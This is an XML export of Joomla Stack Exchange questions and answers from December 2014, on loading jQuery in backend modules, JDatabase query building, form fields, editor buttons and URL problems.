  <row Id="5608" PostTypeId="1" CreationDate="2014-12-09T08:49:08.510" Score="-1" ViewCount="1390" Body="&lt;p&gt;I have made a module that in the backend, the user selected from 2 dropdown multi select lists, some names and photos and in the frontend I print the selected names/photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it easier for user to track how many names he selected, i added a text box at the backend that i want it to keep the count ( with jquery ) of how many options the user selected. I wrote the script and it is working fine ( &lt;a href=&quot;http://jsfiddle.net/u9dvmytn/10/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/u9dvmytn/10/&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i try to run it , inside my module jquery seems to not run at all ( consol.log is empty ).&#xA; From what i can see,  i did something wrong on &quot; how to include the jquery library &quot; or ( more likely, i really messed up on how to add/call the script inside the custom field ).&#xA;I cant find anything at all , about how to properly add jquery inside custom fields and joomla backend at google,so could someone actualy help me to findout how i actually add a jquery script to backend, and what i did wrong in my module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The js.js Script&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://code.jquery.com/jquery-latest.min.js&quot; &#xA;type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function($){&#xA;                var count =$(&quot;#\\#jform_params_foreignmanuf :selected&quot;).length;&#xA;                 $(&quot;#\\#jform_params_manucounter&quot;).val(count);&#xA;              });&#xA;&#xA;&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The multiselect dropdown list field type&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;JFormHelper::loadFieldClass('list');&#xA;class JFormFieldManulist extends JFormFieldList&#xA;{&#xA;&#xA;    protected $type = 'Manulist';&#xA;&#xA;&#xA;    protected function getOptions()&#xA;    {&#xA;    JHtml::_('jquery.framework');&#xA;     $db= JFactory::getDbo();&#xA;     $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('*');&#xA;        $query-&amp;gt;from('#__virtuemart_manufacturers_en_gb'); &#xA;        $db-&amp;gt;setQuery($query);&#xA;     $items = $db-&amp;gt;loadObjectList();&#xA;         $options = array();&#xA;         if ($items)&#xA;         {&#xA;          foreach($items as $item)&#xA;          {&#xA;            $options[] = JHtml::_('select.option', $item-&amp;gt;virtuemart_manufacturer_id , $item-&amp;gt;mf_name,$item-&amp;gt;slug);&#xA;          }&#xA;         }&#xA;&#xA;         $options = array_merge(parent::getOptions(), $options);&#xA;         **JHtml::_('script', JUri::root() . 'modules/mod_manufacturers/js/js.js');**&#xA;         return $options;&#xA;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Text box field type that will keep the count&lt;/strong&gt;&#xA;(i dont return something here. maybe is that the problem?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;JFormHelper::loadFieldClass('Text');&#xA;class JFormFieldCountermanu extends JFormFieldText&#xA;{&#xA;&#xA;    protected $type = 'Countermanu';&#xA;&#xA;&#xA;    protected function getOptions()&#xA;    {&#xA;    JHtml::_('jquery.framework');&#xA;&#xA;&#xA;    $doc = JDocument::getDocument();&#xA;       $js = '&#xA;             jQuery(document).ready(function($){&#xA;                var count =$(&quot;#\\#jform_params_foreignmanuf :selected&quot;).length;&#xA;                 $(&quot;#\\#jform_params_manucounter&quot;).val(count);&#xA;              });&#xA;&#xA;&#xA;       '; &#xA;       JHtml::_('script', JUri::root() . 'modules/mod_manufacturers/js/js.js');&#xA;       $doc-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="159" LastEditDate="2014-12-09T21:00:19.883" LastActivityDate="2014-12-09T21:00:19.883" Title="Backend module does not run jQuery / JavaScript script?" Tags="|joomla-2.5|module|fix-my-code|jquery|javascript|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5609" PostTypeId="2" ParentId="5608" CreationDate="2014-12-09T14:14:39.337" Score="4" Body="&lt;p&gt;Your code has several errors, here's a couple:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;js.js&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can't load scripts using &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; &lt;em&gt;inside&lt;/em&gt; a .js file&lt;/li&gt;&#xA;&lt;li&gt;You shouldn't need to load jQuery at all, it's included in Joomla (and it's usually loaded by your template or other extensions). If not, use &lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt; to load it properly.&lt;/li&gt;&#xA;&lt;li&gt;This entire file looks unnecessary to me, as you're loading the same code later in your code using &lt;code&gt;$doc-&amp;gt;addScriptDeclaration($js);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;The multiselect dropdown list field type&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't do this here. Remove the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not sure what this line is for, and as your code is now, it shouldn't even be necessary to load this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**JHtml::_('script', JUri::root() . 'modules/mod_manufacturers/js/js.js');**&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;The Text box field type that will keep the count&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Again this: &lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt;. Don't do it inside your function.&lt;/li&gt;&#xA;&lt;li&gt;Your JavaScript/jQuery code (&lt;code&gt;$js&lt;/code&gt;) is basically working, but it is only triggered once, when the page is loaded. You're not triggering the code when the user selects another option. You need to use &lt;code&gt;.on( &quot;change&quot;, handler )&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's an example on what I think you're trying to do with jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function ($) {&#xA;    $(document).on('change', '#\\#jform_params_foreignmanuf', function () {&#xA;        var count = $(&quot;#\\#jform_params_foreignmanuf :selected&quot;).length;&#xA;        $(&quot;#\\#jform_params_manucounter&quot;).val(count);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The text field will populate with the amount of selected items every time you select/deselect another item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://jsfiddle.net/u9dvmytn/15/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/u9dvmytn/15/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-09T14:14:39.337" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5611" PostTypeId="2" ParentId="5596" CreationDate="2014-12-09T16:15:22.217" Score="5" Body="&lt;p&gt;Trying to avoid crons whenever possible, but based on the answer from @Farahmand, I put a variation of this code in a User Plugin &lt;code&gt;onUserLogout()&lt;/code&gt; event:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;em&gt;any&lt;/em&gt; user logs &lt;strong&gt;out&lt;/strong&gt;, the plugin checks-in any of &lt;em&gt;their&lt;/em&gt; content, as well as any other check-outs that may have been abandoned.  I wanted only certain user groups to be affected, and to insure that any admin users content was &lt;em&gt;never&lt;/em&gt; affected (for our own internal reasons - perhaps overkill for typical installations, but in our case we have custom user groups that can be in several of the standard user groups, so have accounted for that overlap).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onUserLogout() {&#xA;    $groups_include = '2,4,10';    // Affect Registered, Publishers, and Custom Group&#xA;    $groups_exclude = '7,8';       // Don't affect Administrators or Super Users&#xA;&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;update($db-&amp;gt;quoteName('#__content'))&#xA;    -&amp;gt;set('checked_out = 0, checked_out_time = 0')&#xA;    -&amp;gt;where('( checked_out = '.JFactory::getUser()-&amp;gt;id.' ) OR (&#xA;        checked_out_time &amp;lt; NOW() - INTERVAL 12 HOUR&#xA;        AND checked_out IN (SELECT GROUP_CONCAT(user_id) FROM scm_user_usergroup_map WHERE group_id IN ('.$groups_include.'))&#xA;        AND checked_out NOT IN (SELECT GROUP_CONCAT(user_id) FROM scm_user_usergroup_map WHERE group_id IN ('.$groups_exclude.'))&#xA;        )'&#xA;    );&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure the SQL can be adjusted for Timezones, etc., but here's the resulting SQL statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `gdp_content`&#xA;SET checked_out = 0, checked_out_time = 0&#xA;WHERE ( checked_out = 30 ) OR (&#xA;        checked_out_time &amp;lt; NOW() - INTERVAL 12 HOUR&#xA;        AND checked_out IN (SELECT GROUP_CONCAT(user_id) FROM scm_user_usergroup_map WHERE group_id IN (2,10,11))&#xA;        AND checked_out NOT IN (SELECT GROUP_CONCAT(user_id) FROM scm_user_usergroup_map WHERE group_id IN (7,8))&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-09T16:21:26.180" LastActivityDate="2014-12-09T16:21:26.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5612" PostTypeId="1" AcceptedAnswerId="5613" CreationDate="2014-12-09T18:34:23.660" Score="22" ViewCount="14627" Body="&lt;p&gt;Given the desired SQL below, where Cond1 &lt;em&gt;and&lt;/em&gt; Cond2 must be met &lt;em&gt;OR&lt;/em&gt; Cond3 must be met for selection, what is the correct way to use &lt;code&gt;getQuery()&lt;/code&gt; to achieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Desired SQL:&lt;/strong&gt; &lt;em&gt;Condition1 and Condition2 within parentheses)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM #__myTable &#xA;WHERE (condition1=true AND condition2=true) OR condition3=true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With Chaining:&lt;/strong&gt;  &lt;em&gt;specifying OR in the -&gt;where()&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('* FROM #__myTable')&#xA;-&amp;gt;where('condition1 = true AND condition2 = true','OR')&#xA;-&amp;gt;where('condition3 = true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Resulting SQL: (SQL is missing parentheses)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM scm_myTable&#xA;WHERE condition1 = true AND condition2 = true OR condition3 = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With Arrays&lt;/strong&gt;  &lt;em&gt;specifying OR in the -&gt;where()&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$conditions12 = array(&#xA;    'condition1 = true',&#xA;    'condition2 = true'&#xA;);&#xA;$conditions3 = array(&#xA;    'condition3 = true'&#xA;);&#xA;$query-&amp;gt;select('* FROM #__myTable')&#xA;-&amp;gt;where($conditions12, 'OR')&#xA;-&amp;gt;where($conditions3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Resulting SQL: (SQL is missing parentheses)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM scm_myTable&#xA;WHERE condition1 = true OR condition2 = true OR condition3 = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-09T18:47:51.473" LastActivityDate="2018-04-19T23:49:05.850" Title="How to combine ANDs and ORs in the WHERE clause using a Query Object?" Tags="|jdatabase|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5613" PostTypeId="2" ParentId="5612" CreationDate="2014-12-09T18:42:04.903" Score="22" Body="&lt;p&gt;Including the parentheses that are needed, with Chaining , produced the desired SQL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With Chaining:&lt;/strong&gt;  &lt;em&gt;specifying OR and wrapping Cond1/2 in parentheses&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('* FROM #__myTable')&#xA;-&amp;gt;where('(condition1 = true AND condition2 = true)','OR')&#xA;-&amp;gt;where('condition3 = true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Resulting SQL: (includes parentheses)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM scm_myTable&#xA;WHERE (condition1 = true AND condition2 = true) OR condition3 = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;OR use orWhere/andWhere&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQyery(true);&#xA;$query-&amp;gt;select('*')&#xA;-&amp;gt;from($db-&amp;gt;quoteName('#__myTable'))&#xA;-&amp;gt;where($db-quoteName('condition3') . ' = TRUE')&#xA;-&amp;gt;orWhere(array($db-&amp;gt;quoteName('condition1') . ' = TRUE', $db-&amp;gt;quoteName('condition2') . ' = TRUE'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="168" LastEditDate="2018-04-19T23:49:05.850" LastActivityDate="2018-04-19T23:49:05.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5614" PostTypeId="2" ParentId="4317" CreationDate="2014-12-09T19:33:16.933" Score="1" Body="&lt;p&gt;This is actually for Page Header output, but the same applies to the Browser Title.  I've had this situation occur most frequently with 3rd party components.  Joomla stores these values when you specify them in the menu item, but it's up to the component whether or not they're used.  Below is the code I've added to my components, and sometimes to  the template overrides.  If you're not familiar with template overrides, you should read &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;How to override the output from the Joomla! core&lt;/a&gt; first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this code before any other HTML code in the template override file.  It checks to see if you've specified to show the page headings or not, and if so, it will use that, otherwise it will use whatever the menu title is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading',1)) : ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php echo  $this-&amp;gt;params-&amp;gt;get('page_heading') ? $this-&amp;gt;params-&amp;gt;get('page_heading') : JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;title; ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To see how Joomla does it by default, look at &lt;code&gt;components\com_content\views\article\tmpl\default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-page&amp;lt;?php echo $this-&amp;gt;pageclass_sfx?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading', 1)) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt; &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt; &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-09T19:33:16.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5615" PostTypeId="1" CreationDate="2014-12-10T00:14:12.660" Score="1" ViewCount="326" Body="&lt;p&gt;Google is indexing my site pages with the wrong domain prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site pages should be fetched as www.topspeedracer.com/url.html instead of mail.topspeedracer.com/url.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mail.topspeedracer.com/better-gas-mileage-in-summer-than-winter.html&quot; rel=&quot;nofollow&quot;&gt;http://mail.topspeedracer.com/better-gas-mileage-in-summer-than-winter.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain prefix should always be &quot;www&quot; but occasionally it is &quot;mail&quot; instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem started happening recently but I have made no changes to my site or server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this and how do I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla version 1.5.9 in legacy mode 1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2334" LastActivityDate="2014-12-11T08:08:45.087" Title="Wrong domain prefix appearing on Joomla site pages" Tags="|url|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5616" PostTypeId="1" AcceptedAnswerId="5632" CreationDate="2014-12-10T05:02:05.893" Score="6" ViewCount="1721" Body="&lt;p&gt;I am creating a custom component and in my form I am using the editor form field type. Here is the documentation: &lt;a href=&quot;https://docs.joomla.org/Editor_form_field_type&quot;&gt;https://docs.joomla.org/Editor_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that no matter what value I set for the editors-xtd 'buttons' attribute, no buttons are shown. There is one exception, if the attribute is set to true, all buttons are shown. In the context of my component, only the article and image buttons are applicable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation seems to indicate that the 'buttons' attribute should include an array of buttons to be excluded, in this case, pagebreak and readmore. I have tried a number of things, none of which have had the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this actually work? Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2016-01-08T10:29:50.360" Title="How do you specify to show only certain editors-xtd buttons on the editor form field type?" Tags="|joomla-3.x|xml|editor|form-fields-types|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5617" PostTypeId="1" AcceptedAnswerId="5622" CreationDate="2014-12-10T05:26:48.763" Score="5" ViewCount="255" Body="&lt;p&gt;Has anybody encountered this kind of issue where in my edit form, after clicking submit, it creates a new record instead of saving the changes I made? it was able to load the data of the item i clicked. I have a workaround with this issue but it's very tedious. I re-install the original component where it works and then I had to re-copy the codes I modified. After copying the codes I modified, the form works without re-creating the item i clicked for editing? I'm getting annoyed by this.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2016-01-10T05:00:56.180" Title="Item being edited was created as a new record instead of saving changes after clicking submit" Tags="|joomla-3.x|form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5618" PostTypeId="1" CreationDate="2014-12-10T05:35:45.413" Score="1" ViewCount="207" Body="&lt;p&gt;I was able to get and set values of my custom form fields by using $form-&gt;getValue and $form-&gt;setValue in my previous issue here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5604/how-to-access-modify-custom-form-fields-values&quot;&gt;How to access / modify custom form fields values&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am only able to use setValue and getValue in the function where the form was initialized. How do I make it such when I call the save function, I can access the form together with the custom fields I added during my loadForm() function?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-12-10T05:42:00.973" Title="Accessing Form fields in the Model" Tags="|joomla-3.x|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5619" PostTypeId="2" ParentId="5618" CreationDate="2014-12-10T05:42:00.973" Score="1" Body="&lt;p&gt;I was able to get the form values by storing the code below to a variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-10T05:42:00.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5620" PostTypeId="2" ParentId="5604" CreationDate="2014-12-10T05:44:58.870" Score="1" Body="&lt;p&gt;I was now able to access my created custom fields after creating them in my loadForm function by using this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JFactory::getApplication()-&gt;input-&gt;get('jform', array(), 'array');&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-10T05:44:58.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5621" PostTypeId="2" ParentId="5616" CreationDate="2014-12-10T05:57:13.567" Score="-1" Body="&lt;p&gt;Go to plugins - your editor . you can set your buttons there.&#xA;For tinymce - i can found the following settings in the plugin manager&#xA;&lt;img src=&quot;https://i.stack.imgur.com/O3Pjz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1727" LastActivityDate="2014-12-10T05:57:13.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5622" PostTypeId="2" ParentId="5617" CreationDate="2014-12-10T05:58:19.983" Score="5" Body="&lt;p&gt;Make sure that your form has an ID field. Without the ID field, Joomla! will create a new record, even when editing. It is okay if the ID field is hidden.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-12-10T05:58:19.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5623" PostTypeId="1" AcceptedAnswerId="5657" CreationDate="2014-12-10T06:22:33.800" Score="2" ViewCount="1303" Body="&lt;p&gt;I am using the code below for getting form values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I use &lt;code&gt;json_encode&lt;/code&gt;, it encodes all the form fields I use. How do I select &#xA;fields in the form from a specific fieldset? I have 2 fieldsets in my Form, the original one and the other fieldset named 'reportFilters'. I can only use the getFieldset in my View Class.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2014-12-11T08:25:34.580" LastActivityDate="2014-12-12T08:32:16.357" Title="How to access a specific fieldset in a form in my model class?" Tags="|joomla-3.x|jform|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5625" PostTypeId="1" CreationDate="2014-12-10T10:04:46.027" Score="3" ViewCount="1512" Body="&lt;p&gt;I have created a menu item &quot;Latest items from (one or more) users or categories&quot; using K2. I have set it to display the latest 1 item from selected users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create an RSS feed from this page - the menu allows me to create an RSS feed for each individual user, but I can't see how I can amend this to allow an RSS feed for all users shown on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to edit /components/com_k2/views/itemlist/view.feed.php but this doesn't appear to be working as to how I need it.  Any ideas please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Update *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now found this file appears to need to be edited:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/components/com_k2/models/item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't see how to show the author image or the author name in the feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Joomlaworks, the file which needs to be edited is /components/com_k2/views/*/view.feed.php but it doesn't appear to be working either!&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="159" LastEditDate="2014-12-11T19:46:38.780" LastActivityDate="2014-12-11T19:46:38.780" Title="RSS Feed for K2 Latest Items" Tags="|joomla-3.x|k2|rss|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5628" PostTypeId="2" ParentId="5616" CreationDate="2014-12-10T13:56:04.820" Score="5" Body="&lt;p&gt;What should happen is that you pass a string of comma separated values into the form field of the buttons that you do not want to appear. This gets exploded into an array here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/form/field/editor.php#L222&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/form/field/editor.php#L222&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the form field you get a JEditor Instance and in the getButtons method there it will filter out the buttons you list. &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/editor/editor.php#L436&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/editor/editor.php#L436&lt;/a&gt; The name of the buttons as you can see from Line 450 should be the name of the plugin&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-12-10T13:56:04.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5629" PostTypeId="1" AcceptedAnswerId="5631" CreationDate="2014-12-10T14:06:47.913" Score="3" ViewCount="91" Body="&lt;p&gt;We're running our sites on a VPS - &#xA;When we're running our sites &lt;em&gt;with&lt;/em&gt; a domain name, all images are detected just fine,&#xA;but when we're running it from our pre-production thing on the VPS, &#xA;the URL generated into the CSS should be: &lt;code&gt;vps.com/~sitethingy/images/etc&lt;/code&gt;&#xA;but it is generated as &lt;code&gt;vps.com/images/etc&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using the JURI::root function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to fix this so it'll work on our pre-production sites as well?&lt;/p&gt;&#xA;" OwnerUserId="2338" LastEditorUserId="64" LastEditDate="2014-12-10T14:23:25.797" LastActivityDate="2014-12-10T14:51:39.497" Title="Wrong URL for images when not using a domainname" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5630" PostTypeId="1" CreationDate="2014-12-10T14:11:03.037" Score="3" ViewCount="31" Body="&lt;p&gt;How do I make a menu item appear as a subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I created a Joomla category on my website with the menu URL as&#xA;www.example.com/blog but I want the blog to be accessible via&#xA;blog.example.com.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also installed VM2 and it can be accessed via&#xA;www.example.com/store but I want the store to display as&#xA;store.example.com&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also have third party extension that handles Bulk SMS and it can&#xA;be accessed via www.example.com/sms but I want the url to show as&#xA;sms.example.com&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;An option is to install 3 versions on the three subdomain for each function but I really don't want multiple installations since only one website can handle all functions easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I achieve this and would the extensions work properly? &lt;/p&gt;&#xA;" OwnerUserId="1988" LastEditorUserId="64" LastEditDate="2014-12-10T14:25:40.077" LastActivityDate="2014-12-10T14:25:40.077" Title="Make a menu item, plugin or component work as subdomain" Tags="|joomla-3.x|menu-item|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-11T12:50:52.103" ContentLicense="CC BY-SA 3.0" />
